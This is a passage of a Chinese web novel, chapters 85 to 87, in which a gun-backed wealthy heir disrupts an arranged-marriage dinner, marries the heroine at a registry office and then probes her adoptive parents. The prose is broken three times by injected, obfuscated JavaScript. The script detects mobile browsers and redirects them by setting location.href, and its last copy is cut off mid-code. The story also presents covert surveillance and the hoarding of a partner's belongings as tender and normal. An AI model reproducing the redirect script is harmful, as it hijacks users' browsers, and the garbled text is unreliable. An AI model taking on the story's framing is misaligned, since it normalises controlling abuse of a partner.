这不就是……在缅国见过的,那个什么将军的小老婆吗? 好像叫苏晓还是什么来着? 对方似乎察觉到了她的注视,抬起头,对她露出了一个职业化的微笑,眼神陌生。 孟昭月收回了目光。 大概是认错了吧。 就在这时,她口袋里的手机,轻轻震动了一下。 她拿出来,屏幕上是一条来自时卿舟的短信。 内容很短,只有两个字。 「等我。」 第85章 新婚快乐 “玉满堂”的包间内。 檀香从博山炉中升起,在空气里盘旋、散开。 顾清珩领着孟昭月推门而入时,孟崇山与江慧已经坐在了位上。 “孟伯父,孟伯母。”顾清珩微微颔首,清冷恭敬。 江慧放下手中的茶杯,脸上是温婉笑容:“清珩来了,快坐。” 她的目光越过顾清珩,落在孟昭月身上,那份温婉里便多了几分审视的意味。 孟昭月乖巧地跟着叫人:“爸爸,妈妈。” 孟崇山只是淡淡地“嗯”了一声,算是回应。 他看向顾清珩,语气平缓地问了一句:“你母亲……近来身体如何?” 顾清珩的眼睫动了一下,他垂下眼,声音没有什么起伏:“前些年已经过世了。” 孟崇山端着茶杯的手,在半空中停顿了片刻。 他沉默地看着杯中沉浮的茶叶,没有再说话。 江慧扫了丈夫一眼,将他脸上那瞬间的失神尽收眼底。 她优雅地提起桌上的紫砂壶,为顾清珩续上茶水,声音柔和地转移了话题。 “说起来,你父亲怎么还没来……晚了些了?” 顾清珩看了眼时间,按照父亲出发的时间,确实也该到了。 他心头一跳,一时间有了不祥的预感。 他站起身,对着几人歉意地笑了笑:“我去联系一下父亲,你们先聊。” 说完,他便转身走出了包间。 顾清珩一离开,包间内的气氛瞬间就变了。 孟崇山放下茶杯,看向孟昭月,声音里带上了长辈的威严冷意。 “孟昭月,二十多岁的人离家出走,你害臊吗?” 江慧也跟着开口,语气依旧温婉,话语却字字带刺:“怎么还跟个小孩子一样,真的让人失望。” 孟昭月安静地听着,心里却觉得有些烦躁。 这对夫妻,总共就见了他们两次面,两次都在嫌弃她。 嫌弃完了,还要把她打包送出去联姻。 连嫌弃都嫌弃不明白。 她抬起头,脸上依旧是那副乖巧甜美的笑容,声音软软糯糯。 “爸爸,妈妈,你们说得对。” 她先是顺从地点了点头,然后话锋一转,那双干净的杏眼里满是天真的困惑。 “可是,既然你们对我这么失望,联姻让孟婉凝不是更好嘛?” 孟崇山和江慧的表情,同时僵住了。 江慧:“就你那张嘴会说话。” 就在这时,包间的门再次被推开。 是顾青珩,他的神色有些冷。 孟崇山夫妇见顾青珩来了,便想把话题转回他身上,可话刚开口,就卡住了。 顾清珩身后还跟着一个男人。 男人一身黑色作战服,手里举着一把枪,正对着顾清珩。 是秦御。 还没等孟崇山夫妇反应过来,一群同样装束的黑衣人便涌了进来,动作迅速地控制了整个包间,枪口齐刷刷地对准了他们。 江慧的脸色冷了下来:“你们是什么人?!想做什么?!” 一道温和的声音从门外传来,回答了她的问题。 “来抢亲。” 时卿舟穿着一身黑色的风衣,从门外不紧不慢地走了进来。 …… 另一边,孟家庄园的茶室内。 孟婉凝正端着一杯刚沏好的雨前龙井,姿态优雅地品着。 【叮咚!女主觉醒系统绑定完毕。】 一个陌生的女声在她脑海里响起。 孟婉凝端着茶杯的手顿了一下,随即若无其事地将茶杯放回桌上。 在和孟婉凝介绍完身份后,系统将小说的事情与孟婉凝说了。 孟婉凝安静地接收完所有信息,然后,轻笑出声。 “这样啊……倒也不是难事。” 她伸出纤长的手指,轻轻点了点温热的杯壁,眼底是毫不掩饰的轻蔑。 “像孟昭月那种从小缺爱的,最好对付了。” “只要先给她极致的爱,让她沉溺其中,然后再毫不留情地收回,就能轻易地摧毁她。” “如果我没记错的话,她应该还有一对养父母吧?” …… “玉满堂”包间内。 时卿舟径直走到孟昭月面前,牵起了她的手。 孟崇山沉声道:“时少爷,这番行事,怕是不合礼数”。 “我记得星瀚科技下,好几个专利需要过文化审查吧。”他威胁道。 江慧轻笑一声,从容的抿了口茶:“毕竟是上不得台面的私生子,也难怪。” 时卿舟的手下可没惯着她,直接拔枪,对着她脚下的地面开了一枪。 “砰!” 江慧吓得尖叫一声,花容失色,茶水也撒了出来。 孟崇山的脸色也变得铁青,也不再说话了。 孟昭月起身伸手挽住了时卿舟的手臂,仰起脸看他。 “文化审查?”她有些担心。“会很麻烦吗?” 时卿舟看了一眼孟崇山:“不麻烦。” 孟昭月继续道:“听说我跟你在一起,会拖累你,你会害怕吗?” 时卿舟看着她,缱绻温柔:“怎么会,你不会拖累我,我也不会怕。” 孟昭月得到了答案,心满意足地笑了。 她转过头,看向孟崇山夫妇。 “他是不好,可我就是喜欢他。” “我要嫁给他。” “我和他在一起,就是因为喜欢他,就算他是私生子,我也喜欢他。” 时卿舟的身体,在那一瞬间僵住了。 他低下头,不敢置信地看着怀里的人。 心脏,在胸腔里疯狂的鼓噪,几乎要跳出喉咙。 “昭月,时卿舟是个变态!”顾清珩的声音突然响起。 他指着窗外夜色中那些几乎无法察觉的、伪装成飞蛾的微型无人机。 “昭月,这些不是飞蛾,全都是他用来监视你的眼睛!” “他会偷偷藏起你用过的所有东西,你的头发,你的衣服……” “甚至对着那些东西做一些……” “闭嘴。”时卿舟的声音突然冷了下来。 秦御立刻上前,一记手刀砍在顾清珩的后颈,顾清珩闷哼一声,软倒下去。 孟昭月听到顾清珩的话,愣住了:“诶?” 这时就是顾青珩说以前说的“二十四小时监视你”“极强的控制欲”吗? 时卿舟没有给她思考的时间,直接将她拽出了包间。 孟昭月几乎是被时卿丢进了法拉利的后座。 修好的法拉利好像改装过,中间的扶手没有了。 只是这突如其来的动作弄得有些发懵。 她刚撑起身体:“阿卿……唔……” 她的话刚起了个头,就被一个黑影笼罩。 时卿舟俯下身,用吻堵住了她。 他像个快要溺死的人,疯狂地汲取着她的每一缕气息。 孟昭月只感觉自己的嘴唇都在发麻。 这是怎么了嘛? 良久,就在孟昭月感觉自己快要因为缺氧而昏厥过去时,他才稍稍松开了她,却没有完全离开。 他的唇瓣贴着她的轻轻吻着。 “月月……什么都不要说……” “什么都不要问……” 一遍又一遍地,用带着哀求的语调,低声呢喃。 “求你……” “不然……我不知道自己会做出什么……” 孟昭月怔住了。 她能清晰地感觉到,抱着她的这具身体,正在颤抖。 他在害怕。 为什么害怕?因为顾青珩的那些话吗? 那些话有什么问题吗? 监视她、偷偷收藏她的东西…… 这些不都是正常恋人会做的事情吗? 这不是说明他在爱着她吗? 有什么好害怕的嘛。 孟昭月理所当然的想着。 不过感受到抱着自己的男人的颤抖,孟昭月想了想伸出手,回抱住了他,将脸颊轻轻地贴在他的胸膛上,听着他那紊乱的心跳。 感觉到她的回应,时卿舟的微微僵住,随即像是找到了唯一的庇护所,将头深深地埋进了她温热的颈窝里。 “月月……月月……” 不知过了多久,车子停下了。 时卿舟松开了她,然后亲了亲她,恢复了平日里的温柔。 “到了,月月,我们下车吧。” 时卿舟扶着孟昭月下了车。 孟昭月一抬头,就看到了几个大字。 “京江市中城区民政局婚姻登记处”。 孟昭月:“!” 他们……到了? 他们真的到了,民政局! 孟昭月感觉自己好像在梦里一样。 这时姜玦快步上前,将一叠厚厚的材料递了过来。 孟昭月下意识地看过去,是身份证还有其他需要的材料。 而最上面的,是一个小巧的黑色丝绒盒子,里面静静地躺着那条血钻项链。 时卿舟拿起项链,目光落在孟昭月脖颈上那串月白色的东海珠上。 他没有丝毫犹豫,直接伸手,扯断了那串珍珠项链。 珠子断了线,噼里啪啦地滚落一地,在雪地里泛着清冷的光。 然后,他随手将那断了的链子,丢进了路边的垃圾桶里。 孟昭月看得目瞪口呆。 好……好败家。 那串东海珠,看成色和大小,至少也是七位数起步的。 “脏东西,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691924|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢了的好。”时卿舟的声音很平淡。 他伸出手,指腹轻轻抚过她光洁的脖颈。 没有碍眼的东西了,很好。 孟昭月下意识地缩了缩脖子。 时卿舟的眸色深了几分,随即俯下身,将血钻贴上了她的肌肤,为她戴上了项链。 然后,他满意地看着那抹艳丽的红色,在她雪白的颈间绽开一朵盛放的血色蔷薇。 “我们进去吧,月月。” 孟昭月点了点头。 时卿舟自然而然地揽着孟昭月的腰,带着她,一步一步地,走进了民政局的大门。 民政局里冷冷清清,要到下班时间了。 负责办理结婚登记的政务小姐正撑着下巴,昏昏欲睡地打着瞌睡。 突然,一阵整齐划一的脚步声传来。 紧接着,一群穿着黑色西装、身形魁梧的男人涌了进来,瞬间将不大的办事大厅挤得满满当当。 政务小姐一个激灵,瞬间清醒了。 看着眼前这黑压压的一片人,人傻了。 妈呀!这是什么情况? 黑帮火拼现场走错片场了?! 她下意识地就想往桌子底下钻。 时卿舟没有理会周围那些战战兢兢的工作人员,他只是揽着孟昭月,径直走到了办事窗口前,将手中的一叠资料递了进去。 “办理结婚登记,有劳了。”他的神情礼貌温和。 倒是让政务小姐稍微松了口气,没真的往桌子底下钻。 孟昭月被他拽得紧紧的,手腕都被捏得有些发疼。 像是生怕她会下一秒就凭空消失一样。 她心里有些郁闷,又有些好笑。 有什么好害怕的嘛? 顾青珩说他对着藏着的她的东西会做一些…… 会做一些什么? 她好好奇呀。 睹物思人吗? 不知道为什么想到时卿舟拿着她的东西眼泪汪汪的样子,就觉得有点可爱。 “您……您好。” 接过材料的政务小姐,录入信息一会后,抬起了头。 她看着眼前这对颜值高得不像**的男女,又看了看他们身后那群面无表情的“保镖”。 “抱……抱歉,先生。” 她咽了咽口水,声音都在发抖。 “孟女士的公民信息在数据库里被锁定了,我……我没有权限访问,无法办理。” 孟昭月闻言一愣,她想起了顾清珩之前说的话。 我要是能让时卿舟和孟昭月成功领证,那我也就不用姓顾了。 她下意识地转头看向时卿舟。 时卿舟脸上的温柔笑意不变,似乎对这个结果毫不意外。 “是吗?”他温和地开口,“会不会是系统出错了?麻烦你再试试。” 政务小姐看了一眼他身后那群已经开始面露不善的黑衣人,感觉自己快要碎了。 她又试了一遍,依旧是同样的报错。 就在她快要哭出来的时候,一个穿着同样工作制服的年轻男人走了过来。 “我来吧。”他的声音很平稳。“估计是系统又出bug了。” 政务小姐看到来人,像是看到了救星,松了口气:“小李,你快来看看。” 她让开座位,随口问了一句:“今天怎么不见主管?” 小李一边在键盘上飞快地操作着,一边头也不抬地回答:“主管今天请假了。” “早上出了点车祸,雪天地滑,姐你也要多加小心。” 他顿了顿,又补充道:“不过印章他已经交给我了,不耽误事。” 政务小姐点了点头,便离开了。 孟昭月盯着那个被称作“小李”的男人,总觉得他的侧脸有些眼熟。 她忽然开口:“你之前……是不是送过牛奶?” 小李的手指在键盘上停顿了一下,他下意识地抬眼看了一眼时卿舟,随即对着孟昭月微笑着摇了摇头:“没有,小姐,您认错人了,我一直在这里工作。” 时卿舟则低眉看了孟昭月一眼,然后目光继续移到**的终端上。 孟昭月点了点头,没有再追问。 小李:“好了,那边照相就行。” …… 窗外,是飘零的雪。 2025年11月7日。 “新人看这里,微笑。” “咔嚓。” 快门按下的瞬间,笑容温柔的男人,笑容甜美的女孩,以及她颈间那一抹猩红,还有一切的一切,一同被定格。 与无数遍的轮回一起,成为永恒。 期间,时卿舟一直紧紧握着她的手,在微微颤抖。 很快,两个红色的本本,被递了出来。 “孟小姐,时先生,新婚快乐。” 第86章 甜甜甜甜 孟昭月怔怔地接过那抹鲜艳的红色,大脑还有些晕乎乎的。 她……真的和时卿舟结婚了? 这个认知,让她感觉脚下踩着的地面都变得有些不真实,软绵绵的,像是踩在云端。 她小心翼翼地翻开结婚证。 崭新的纸页上,贴着他们刚刚拍下的合照。 照片里,男人英俊的脸上带着温柔的笑意,女孩甜美的笑容里带着几分羞涩。 他们笑起来的样子,好般配呐。 孟昭月只觉得自己的心像是被填满了一样,慢慢地在一片暖流中膨胀,满是甜蜜。 真的结婚了。 和时卿舟。 怎么办,她觉得好幸福。 正在孟昭月幸福得冒着粉红泡泡时,手中的红本本就被一只骨节分明的大手抽走了。 是时卿舟。 “乖乖,这么重要的证件让老公保管。” 孟昭月看着自己的手里一空,有些呆呆地看向时卿舟。 只看到时卿舟直接将两本红本本小心翼翼地放进了自己风衣内袋里,最贴近心脏的位置。 然后时卿舟伸手,将还处于呆滞状态的孟昭月紧紧地、用力地揽进了怀里。 就在这时,站在不远处的秦御,突然抬起手,清脆地拍了两下。 “啪,啪。” 下一秒,整个民政局办事大厅里,那几十个原本静立如雕塑的黑衣保镖,齐刷刷地朝着他们的方向,九十度躬身。 紧接着,一阵整齐划一的、中气十足的恭贺声,在空旷的大厅里轰然炸开! “恭喜少爷!恭喜少夫人!新婚快乐!百年好合!” 那声音洪亮得,几乎要把天花板都给掀了。 被吓得回神的孟昭月:“……” 她的脸颊,“轰”的一下,彻底爆红。 她能感觉到,大厅里所有工作人员,都朝着他们投来了震惊、错愕、混杂着几分惊恐的目光。 好……好丢人啊! 她想找个地缝钻进去。 她想也没想,直接把脸深深地埋进了时卿舟的怀里。 时卿舟感受到怀里人儿的动作,唇角勾起一个满足的弧度。 他收紧手臂,将她抱得更紧了些,低下头,在她柔软的发顶深深地吸了一口气。 全是她的味道。 真好。 “我们先走吧。”他低声在她耳边说,然后揽着她,转身,在众人的注目礼中,离开了民政局。 姜玦沉默了一会,然后看向秦御:“少爷安排的?” 秦御竖起一根手指摇了摇:“当然不是。” “上次在缅国出了那么大纰漏,让桑坤那种货色混了进来,差点害了少夫人,我不得将功补过?” “这次的场面,必须得给少爷挣足了面子!” “我跟那缅国的有个将军学的,怎么样?” 姜玦:“……” 他拍了拍秦御的肩膀。 “秦爷,我建议你以后还是少去东南亚出差。” “为什么?”秦御不解。 “怪丢人的。” …… 法拉利上。 车门关上的瞬间,隔绝了外界的一切喧嚣。 时卿舟那副温和有礼的伪装,瞬间卸下。 他猛地将孟昭月死死地、用力地按进怀里。 孟昭月被他突如其来的动作弄得一懵,随即就感受到他在颤抖,剧烈地颤抖。 “咚咚!咚咚!咚咚咚咚——” 他的心跳声,又快又乱,声音大得如同战鼓擂动,震得她的耳膜都在发麻。 孟昭月心里一惊,连忙抬起头。 “阿卿?” “哈啊……” 时卿舟没有回答。 只是压抑不住的、粗重的喘息声。 一声接着一声,像是濒临溺毙的人在拼命汲取着空气。 我的。我的。我的。我的。 结婚了。 是我的了。 红本本。盖了章。法律承认。她是我的。 谁也抢不走了。 孟廷凛不行。顾清珩也不行。神也不行。 她是我的。 完完全全。彻彻底底。从里到外。从身到心。都是我的。 好开心。 心脏。要炸开了。 血。在烧。 每一个细胞都在尖叫。 想要她。 想要吃了她。 把她揉进骨头里。 想和她一起死掉。 现在就死掉。 死在一起。 永远不分开。 极致的愉悦感,如同决堤的洪水,瞬间冲垮了他那根名为“理智”的弦。 他的大脑一片空白,所有的逻辑和思考能力都被剥夺,只剩下最原始的、刻入灵魂的本能。 “我快疯了。” 过了很久,他才从喉咙深处挤出几个破碎的音节,声音沙哑。 “月月……” “我兴奋到……要疯了。” 不知过了多久,他身上那股剧烈地颤抖才慢慢平息下来。 时卿舟缓缓地松开了她,捧起她的小脸。 那双漂亮的桃花眼里,还残留着未褪的、病态的潮红,却又亮得惊人,像是燃烧着两簇黑色的火焰。 他一瞬不瞬地凝视着她,眼神专注而偏执,仿佛要将她的模样,深深刻进自己的灵魂里。 “时太太。”他说。 孟昭月被他这个称呼弄得心头一跳,脸颊又开始不受控制地发烫。 他太喜欢这个称呼了。 时太太。 这三个字,像一道枷锁,一道烙印,将她与他,用法律的名义,永远地捆绑在了一起。 她是他的了。 “……嗯。”孟昭月红着脸小声地应了一声。 得到她的回应,时卿舟脸上的笑意更深了。 他低下头,用轻轻蹭着孟昭月的脸颊,像一只终于得到心爱玩具的大型犬。 “时太太。”他又叫了一遍。 孟昭月红着脸又“嗯”了一声。 “时太太。”又是一声。 孟昭月:“嗯。” “时太太。” “嗯。” “时太太。” “你叫够了没有呀……” “不够。一辈子都叫不够。” 孟昭月闻言撇了撇嘴,但也还是乖乖陪着他闹,又软软“嗯”了一声。 “乖。”时卿舟满意地笑了,在她唇上重重地亲了一口。 时卿舟又抱着她蹭了一会,才恢复了往日的冷静和那副温柔的面具。 拿起车载通讯器,声音平静,但那股压抑不住的兴奋却让他的语速比平时快了许多。 “姜玦,结婚证原件,送往总部的最高保密等级保险库。” “配备独立的生物识别、三重密码锁。” 孟昭月:“?” 她在一旁听得人都傻了。 不是…… 这只是两张结婚证而已啊喂! 用得着搞得像保护核武器发射密码一样吗?! …… 回到花禾公寓,孟昭月一进门,就发现这里大变样了。 玄关处,多了一双男士拖鞋。 浴室里,她的黑色的牙刷旁,多了一支同款的黑色牙刷,毛巾架上也挂上了一条新的深灰色毛巾。 衣柜里也塞满了各类男士的衣服。 孟昭月:“???” “刚刚让人提前送了一些东西过来。”时卿舟从她身后环住她的腰,下巴自然地搁在她的肩窝。 “我们现在是合法夫妻了,当然要住在一起。”他的语气理所当然。 孟昭月:“……”他是真的一点都不客气啊。 时卿舟享受着怀里的温软,那双桃花眼愉悦满足地眯了起来。 严格来说这房子是顾青珩付款买的,虽然月月不知道。 而他,时卿舟即将住在在这里。 以月月合法的、法律承认的、不是某些人仗着长辈自封的丈夫的名义。 顾青珩要是知道了,估计能气死。 一想到这里,时卿舟就觉得一阵暗爽。 不过说起长辈…… 顾青珩确实是孟家意向的女婿。 不过非要有什么“长辈的祝福”,虽然他不需要,倒也不是什么难事。 要是月月在意这些…… 她不是还有一对养父母吗? 孟昭月看着时卿舟一双桃花眼里泛起的光,亮晶晶的,只觉得好看极了。 没忍住伸出手指戳了戳他的脸颊。 “阿卿在想什么呢?这么开心。” 时卿舟:“没什么,只是一些无聊的事。” 他低头,亲昵地蹭了蹭她的脸颊,鼻尖萦绕着她身上独有的、甜软的香气。 心底某处又开始发痒。 他凑近了一些,温热的呼吸喷洒在她的耳廓,声音沙哑,带着一丝蛊惑的意味。 “时太太,天色不早了。” “我们是不是……该做点合法夫妻该做的事了?” …… 孟昭月是被一阵细密的痒意弄醒的。 有什么温热的东西,正一下一下地,轻轻吻着她的眼睫。 她迷迷糊糊地睁开眼,映入眼帘的,是时卿舟放大的俊脸。 时卿舟看到她醒了,亲吻的动作稍微顿了顿,但是没有停下,继续细细密密地亲吻着她。 孟昭月连忙往被子里缩了缩,只露出一双水汪汪的杏眼,闷闷地**: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16701407|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “别闹啦……这都几点了?” 好累。 昨晚某人像是疯了一样。 孟昭月有些幽怨地看了一眼时卿舟。 不用发明永动机啦,她身旁这位就是。 看到孟昭月这幅样子,时卿舟喉结滚动了一下,有些欲求不满地停下了亲吻。 “还早。”时卿舟声音低沉沙哑,带着初醒的慵懒。 清晨的阳光透过窗帘的缝隙,在他轮廓分明的脸上投下斑驳的光影。 他伸手把孟昭月的被子拉下来了一些,露出她那张可爱的小脸。 他要看,不许遮。 “月月可以再休息一会。” 孟昭月动了动:“可是我睡不着了诶。” 她话音刚落,下一秒,天旋地转。 孟昭月眼前就被高大的身影罩住。 时卿舟撑起身体,居高临下地看着她。 那双漂亮的桃花眼里,盛满了清晨阳光的碎金和浓得化不开的痴迷。 “时太太,”他的声音愈发沙哑,“既然睡不着了,那我们是不是……该做点晨间运动了?” 随后,熟悉的甜腻气息铺天盖地地将她包裹。 新一轮的沉沦,再次开始。 …… 当孟昭月再次恢复意识时,窗外的太阳已经升得老高。 她浑身酸软地趴在床上,连一根手指头都懒得动弹。 浴室里传来哗哗的水声。 过了一会儿,水声停了。 时卿舟腰间松松垮垮地围着一条浴巾,擦着湿漉漉的头发从里面走了出来。 水珠顺着他线条分明的人鱼线滑落,没入浴巾边缘。 他看到床上挺尸的孟昭月,唇角勾起一个愉悦的弧度。 “时太太,早餐想吃什么?” 孟昭月把脸埋在枕头里,闷闷地回答:“随便。” “好。”时卿舟勾起唇,走过来在她光洁的背上亲了一口,然后换上衣服离开了。 孟昭月在床上又赖了一会儿,才慢吞吞地爬起来,走进浴室洗漱。 …… 当她拿起牙刷时,却愣住了。 之前顾青珩帮她挑的漱口杯、毛巾什么都不见了,取而代之的是新的。 浴室里也放了一些可爱的小动物装饰。 尤其一只放在柜台上的小鸟格外可爱,似乎是水晶做的,看起来很结实,不容易碎。 孟昭月洗漱结束后,套着时卿舟的衬衫,慢慢蹭到了厨房。 探出一个小脑袋,看着男人在厨房做饭。 男人的头发已经吹干了,换上了衣服,不过上身就披着一件衬衫,没有扣起来。 时卿舟在她印象里像个养尊处优的大少爷,或者手上全是人命的狠人。 看着他这样居家做饭,似乎还很熟练。 这种感觉有些新奇。 时卿舟单手端着盘子转了过来,看到门口的小姑娘,忍不住伸手揉了揉她的脑袋。 可爱。想太阳。 他想。 “早餐好了,月月来吃吧。” 孟昭月盯着他,看到他衬衫下的腹肌,脸颊又开始发烫。 狗男人,身材也太好了吧。 但是,是她的。 开心! 她想。 早餐就在两人心怀各异的心思下开始了。 时卿舟将切好的吐司递到她唇边,眼神专注而温柔。 “宝宝,张嘴。” 孟昭月乖乖地张开嘴,将吐司吃了下去。 “好吃吗?” “嚎嚎吃!” 时卿舟被自己的妻子可爱到了,眼中露出了明显笑意。 他的动作顿了顿,然后看着她。 “那下次,我继续给你做。”他说。 孟昭月眨了眨眼,总觉得这句话似乎听他说过。 然后她甜甜地笑了:“好呀!” 时卿舟眼中的笑意更深了。 她没有像上次那样摇头。 真好。 虽然她同意与拒绝,都不会影响他的决策。 她属于他,理所当然,自始至终,直到永恒。 一顿早餐很快就结束了。 就在这时,孟昭月的手机响了一下。 她起身拿起手机,是一条陌生号码发来的短信。 她点开一看,整个人都愣住了。 「昭月,我是爸爸,听说你回来了?我和你妈妈都很想你,有时间……能见一面吗?」 时卿舟察觉到了她的异样,走上前,从她身后环住她,目光落在手机屏幕上。 “怎么了?”他吻了吻她的发顶,问道。 那双桃花眼中印着手机上的信息,然后慢慢染上了几分寒意。 这短信……来得有些突兀了。 第87章 见岳父岳母 孟昭月将手机递到时卿舟面前。 时卿舟刚刚已经扫过一眼孟昭月短信上的内容了。 但看到女孩毫无保留地向他展示,心情顿时就明亮了起来。 他装模作样地看了一会,然后点了点头:“是你的养父母。” 他的声音依旧温柔。 “月月想去见他们吗?” 孟昭月犹豫了一会。 她的脑海里,浮现出在那个老旧小区楼下看到的一幕。 养母温柔的笑脸,养父耐心的陪伴,还有一个替代了她位置的小男孩。 虽然失忆了,但是无论如何,听说养父母都是养育了她二十年的人。 于情于理,对方话都这么说了,那都应该见一面。 孟昭月点了点头:“嗯,去看看吧,上次只是远远看了一眼,还是当面谈谈比较好。” 时卿舟俯下身,在她的额头上印下一个轻柔的吻。 “好。”他的声音低沉而缱绻,“我陪你。” 孟昭月的心里,涌上一股暖流。 他总是这样,无论她做出什么样的决定,都会无条件地支持她,站在她身边。 这种被坚定选择的感觉,让她沉溺。 “那我回房间换件衣服。”她踮起脚尖,在他唇上回亲了一下,然后转身,心情愉快地跑向了卧室。 时卿舟看着女孩雀跃的背影,眼中的宠溺几乎要满溢出来。 直到卧室的门被关上,他脸上的温柔笑意才缓缓敛去,取而代之的,是一片深不见底的冷漠。 他转身走到阳台,拨通了姜玦的电话。 电话几乎是秒接。 “先生。” “调一下孟昭月养父母的近期的异常通话记录。”时卿舟的声音平淡,听不出任何情绪。 电话那头的姜玦动作很快,几秒钟后便给出了回复。 “查到了。昨天下午,他们和孟婉凝有过一次通话,时长一分二十秒。” “通话内容呢?” “很普通。”姜玦回答。 “孟婉凝只是告知了他们孟昭月现在使用的手机号码,寒暄了几句就挂了。” 时卿舟靠在栏杆上,指尖有一下没一下地轻点着冰凉的金属扶手。 孟婉凝能拿到孟昭月的号码不奇怪,大概率是找孟廷凛要的。 只是,单纯地给个号码? 他不信孟婉凝会这么好心。 “知道了。”他沉吟片刻,开口问道,“时家庄园那边呢?有什么动静?” “一切正常。”姜玦的回答有些迟疑。 “目前没有收到白岺传来的任何消息,时费那边……也没有任何动作。” 时卿舟的眉头蹙了起来。 时莉莉**,时费竟然一点反应都没有? 这不正常。 那个老狐狸,把时莉莉当眼珠子一样疼,现在眼珠子被人挖了,他却安静得诡异。 事出反常必有妖。 “你找个机会,回庄园一趟。”时卿舟的声音冷了下去。 “是。” 电话挂断,时卿舟转身,正好看到卧室的门被推开。 孟昭月从里面走了出来。 她换上了一件米白色的羊绒连衣裙,长发随意地披散在肩头。 衬得那张本就精致漂亮的小脸愈发乖巧动人。 时卿舟的目光,在她身上停留了很久。 然后,他没忍住,迈开长腿走了过去,把孟昭月揽入怀里亲了亲。 “我的月月,穿什么都好看。” 孟昭月被他突如其来的吻和夸赞弄得心头小鹿乱撞,脸颊也泛起好看的粉色。 “真的吗?” “当然是真的。”时卿舟眼中的笑意深了些。 他凑到她耳边,用只有两个人能听到的音量,低声补充了一句。 “尤其是什么都不穿的时候,更好看。” 孟昭月的脸颊“轰”的一下,彻底红透了。 “你!”她又羞又恼地想要推开时卿舟。 时卿舟低笑出声,捉住她的小手,放在唇边落下细细的吻。 孟昭月被他吻得指尖发麻。 看着时卿舟,她突然想起了顾清珩说的那些话。 “对了,阿卿。”她看着他,那双干净的杏眼里满是好奇。 “顾清珩之前说……你在偷偷藏着我的东西?是什么东西呀?” 时卿舟的动作顿住了。 他抬头看着女孩,那双桃花眼中的笑意更深了。 “嗯,是收藏了一些。”他的语气稀松平常。 是收藏,而不是藏。 “就是一些平时给你拍的照片。” 他顿了顿,伸手捏了捏她粉粉的脸颊。 “只是一些……男人都会有的小爱好罢了,时太太不用太在意。” 孟昭月歪了歪头,将信将疑地点了点头。 真的吗? 就这么简单? 那之前他在“玉满堂”的反应这么大? “那……我能看看吗?”她软软地问。 “当然可以。”时卿舟的回答没有丝毫犹豫,也不见任何心虚。 “下次带你去别墅看。” “别墅?”孟昭月愣了一下:“你之前的住处不是在公寓吗?” 大门还被时莉莉炸了。 时卿舟很自然地解释道,“我在还有一栋私人的别墅。” 孟昭月:“……” 这就是有钱人吗? “本来上次你见完时莉莉后,就想直接带你过去的。”时卿舟的语气里带上了一丝不易察觉的懊恼。 “结果半路遇到了时莉莉的**那事,感觉那里不安全,就没带你去了。” 他低头吻了吻怀里女孩的头发。 “那里的安保系统需要重新升级,最近正在让人做全面的安全排查。” 他的声音温柔:“等处理好了,就带你过去。” “嗯。”孟昭月在他怀里蹭了蹭,乖巧地点了点头。 …… 花禾公寓小区的地下车库。 一辆半旧的大众迈腾在B2层绕了两圈,才终于找到了一个空车位。 刘文涛熄了火,解开安全带,回头看了一眼后座的妻子和儿子。 “秀兰,就是这里了?” 林秀兰低头又确认了一遍手机:“短信上的地址就是这儿,花禾小区,C栋1单元2002。” “文涛,你说……月月这孩子,怎么会住到这种地方来?” 花禾小区,在京江市也算有名。 虽然不是高档小区,但也算新楼盘。 这里不对外销售,只专门面向中央政府系统内的雇员销售的,属于政府的政策性住房。 女儿孟昭月大学毕业后,进了一家私企做文员,也不是政府雇员,按理是没有购买资格的。 她失踪了几个月,突然回来,不仅换了手机号,还住进了这种地方…… “是不是……她交了在中央政府工作的男朋友?”刘文涛猜测道,语气里带着几分担忧。 他们家的月月那么漂亮,从小就招人喜欢,万一被什么不三不四的人骗了…… “别瞎说,我们月月不是那种孩子。”林秀兰立刻打断了他,但眉宇间的忧色却更重了。 “说不定是孟家安排的,等会儿见到了,好好问问就知道了。” 她说着,拎起一个包装精美的水果礼盒。 这是她特地去超市买的,花了好几百块,都是女儿平时爱吃的。 “走吧,耀耀,我们去看姐姐。”她牵起小儿子的手,一家三口朝着电梯口走去。 三人进入电梯后,在门即将完全闭合的瞬间,一个小小的身影“嗖”地一下挤了进来,像一颗失控的小炮弹。 “哎小心!”林秀兰惊呼一声。 小女孩跑得太急,脚下一个趔趄,眼看就要摔倒,情急之下一把抓住了离他最近的东西——林秀兰手里的水果礼盒。 “刺啦——” 一声清脆的纸张撕裂声响起。 那个硬纸礼品袋的提手绳接口处,被直接拽开了。 “哎呀!” “宝贝!你慢点!” 一对年轻夫妇紧跟着冲了进来。 男人眼疾手快地扶住了快要摔倒的女儿,女人则满脸歉意地看向刘文涛夫妇。 “对不起对不起!孩子太皮了,没撞到您吧?”女人的声音温婉动听,让人讨厌不起来。 林秀兰摇了摇头:“没事没事。” 怎么会有这么活泼的女孩,林秀兰看了一眼躲在爸爸身后的小女孩。 然后又低头看了看那断了绳的袋子,眉头还是忍不住皱了一下。 这可怎么送人啊。 女人也注意到了那个破损的袋子,脸上的歉意更深了:“哎呀,这……真是太不好意思了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 